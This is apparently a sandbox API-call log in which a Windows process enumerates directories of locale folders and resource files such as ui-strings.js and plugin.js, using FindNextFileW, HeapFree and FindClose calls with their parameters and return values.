	[0184.762] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0184.762] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.762] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0184.762] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.762] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0184.762] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.762] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0184.763] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.763] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0184.763] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.763] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0184.763] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.763] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0184.763] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.763] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0184.763] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.763] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0184.763] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.763] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0184.763] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.764] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0184.764] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.764] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0184.764] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.764] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0184.764] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.764] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0184.764] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.764] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0184.764] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.764] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0184.764] FindClose (in: hFindFile=0x4142d98 | out: hFindFile=0x4142d98) returned 1
	[0184.764] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f00050 | out: hHeap=0x710000) returned 1
	[0184.765] FindNextFileW (in: hFindFile=0x4142a58, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x9838, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1
	[0184.765] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0184.765] FindNextFileW (in: hFindFile=0x4142d18, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0184.765] FindClose (in: hFindFile=0x4142d18 | out: hFindFile=0x4142d18) returned 1
	[0184.765] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0184.767] FindNextFileW (in: hFindFile=0x4142e58, lpFindFileData=0x2fae69c | out: lpFindFileData=0x2fae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="add-account-select", cAlternateFileName="ADD-AC~2")) returned 1
	[0184.768] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0184.768] FindNextFileW (in: hFindFile=0x41429d8, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0184.768] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0184.768] FindNextFileW (in: hFindFile=0x41429d8, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0184.768] FindClose (in: hFindFile=0x41429d8 | out: hFindFile=0x41429d8) returned 1
	[0184.768] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f00050 | out: hHeap=0x710000) returned 1
	[0184.768] FindNextFileW (in: hFindFile=0x4142e58, lpFindFileData=0x2fae69c | out: lpFindFileData=0x2fae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd61dea, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="aicuc", cAlternateFileName="")) returned 1
	[0184.768] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0184.769] FindNextFileW (in: hFindFile=0x4142f58, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0184.791] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.791] FindNextFileW (in: hFindFile=0x41429d8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd8802e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0184.791] FindClose (in: hFindFile=0x41429d8 | out: hFindFile=0x41429d8) returned 1
	[0184.791] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0184.791] FindNextFileW (in: hFindFile=0x4142a18, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x266, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="warning.png", cAlternateFileName="")) returned 1
	[0184.792] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0184.793] FindNextFileW (in: hFindFile=0x4142f58, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0184.808] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4101058 | out: hHeap=0x710000) returned 1
	[0184.808] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0184.810] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4101058 | out: hHeap=0x710000) returned 1
	[0184.810] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0184.810] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4101058 | out: hHeap=0x710000) returned 1
	[0184.810] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0184.812] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4101058 | out: hHeap=0x710000) returned 1
	[0184.812] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0184.812] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4101058 | out: hHeap=0x710000) returned 1
	[0184.812] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0184.813] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4101058 | out: hHeap=0x710000) returned 1
	[0184.814] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0184.814] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4101058 | out: hHeap=0x710000) returned 1
	[0184.814] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0184.815] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4101058 | out: hHeap=0x710000) returned 1
	[0184.815] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0184.816] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4101058 | out: hHeap=0x710000) returned 1
	[0184.816] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0184.816] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4101058 | out: hHeap=0x710000) returned 1
	[0184.816] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0184.818] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4101058 | out: hHeap=0x710000) returned 1
	[0184.818] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0184.818] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.818] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0184.818] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.818] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x41a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
